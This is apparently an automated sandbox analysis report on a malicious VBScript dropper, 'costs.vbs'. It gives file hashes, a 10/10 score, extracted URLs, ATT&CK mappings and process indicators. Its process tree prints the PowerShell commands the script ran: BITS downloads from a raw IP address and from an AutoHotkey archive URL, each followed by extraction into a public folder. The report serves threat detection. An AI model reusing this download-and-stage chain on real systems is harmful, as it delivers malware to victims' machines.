cc2de0a518487a5178c6184dcdf623ac7b89f6e7fb9a541d5630921d00a7de3e

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
10-05-2024 11:41

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General

Target

costs.vbs
Size

821B
MD5

d789af96fc286fcccec141524b71d243
SHA1

a19b86fe0f698015bdaab5633d94be34daa7369c
SHA256

cc2de0a518487a5178c6184dcdf623ac7b89f6e7fb9a541d5630921d00a7de3e
SHA512

6e7519c10610bf6cfa5a583455c981e24c5a0f2f31142591c49c1e75b3e21a43a575207c3b9600faa953d8f128896353b4445713b069ccd7d4238daf50a4823d

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://91.92.251.57:80/holo.png

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://www.autohotkey.com/download/1.1/AutoHotkey112304_ansi.zip

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2220	powershell.exe
2640	powershell.exe
2824	powershell.exe
2128	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	2640	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	2128	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3048 wrote to memory of 2220	3048	WScript.exe	28
PID 3048 wrote to memory of 2220	3048	WScript.exe	28
PID 3048 wrote to memory of 2220	3048	WScript.exe	28
PID 3048 wrote to memory of 2640	3048	WScript.exe	30
PID 3048 wrote to memory of 2640	3048	WScript.exe	30
PID 3048 wrote to memory of 2640	3048	WScript.exe	30
PID 3048 wrote to memory of 2824	3048	WScript.exe	32
PID 3048 wrote to memory of 2824	3048	WScript.exe	32
PID 3048 wrote to memory of 2824	3048	WScript.exe	32
PID 3048 wrote to memory of 2128	3048	WScript.exe	34
PID 3048 wrote to memory of 2128	3048	WScript.exe	34
PID 3048 wrote to memory of 2128	3048	WScript.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\costs.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-BitsTransfer -Source 'http://91.92.251.57:80/holo.png' -Destination 'C:\Users\Public\holo.zip'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Expand-Archive -Path 'C:\Users\Public\holo.zip' -DestinationPath 'C:\Users\Public'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-BitsTransfer -Source 'https://www.autohotkey.com/download/1.1/AutoHotkey112304_ansi.zip' -Destination 'C:\Users\Public\c.zip'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Expand-Archive -Path 'C:\Users\Public\c.zip' -DestinationPath 'C:\Users\Public\'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2128

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5TR4RLRPQY347GCHAIR1.temp

Filesize
7KB

MD5
525f28bfe81859f8a84a21d041ede957

SHA1
afd60695d94930a6299346ea2957aebc72f77122

SHA256
924fab9854aef38f0baf744b066dd2ee662e3666b71f18bd2e96b5aa45c4307c

SHA512
889a4930b3675d42ff76cabd56c6d75fe277c325c89030885346c228440145bd16a6a648cc4e23e6f139b61e2986e675e571ec08322e9515d1475dc708188e2d

Download Submit
memory/2220-4-0x000007FEF5D3E000-0x000007FEF5D3F000-memory.dmp

Filesize
4KB

Download
memory/2220-6-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download
memory/2220-5-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2220-7-0x000007FEF5A80000-0x000007FEF641D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-8-0x000007FEF5A80000-0x000007FEF641D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-9-0x000007FEF5A80000-0x000007FEF641D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-10-0x000007FEF5A80000-0x000007FEF641D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-11-0x000007FEF5A80000-0x000007FEF641D000-memory.dmp

Filesize
9.6MB

Download
memory/2220-12-0x000007FEF5A80000-0x000007FEF641D000-memory.dmp

Filesize
9.6MB

Download
memory/2640-18-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/2640-19-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download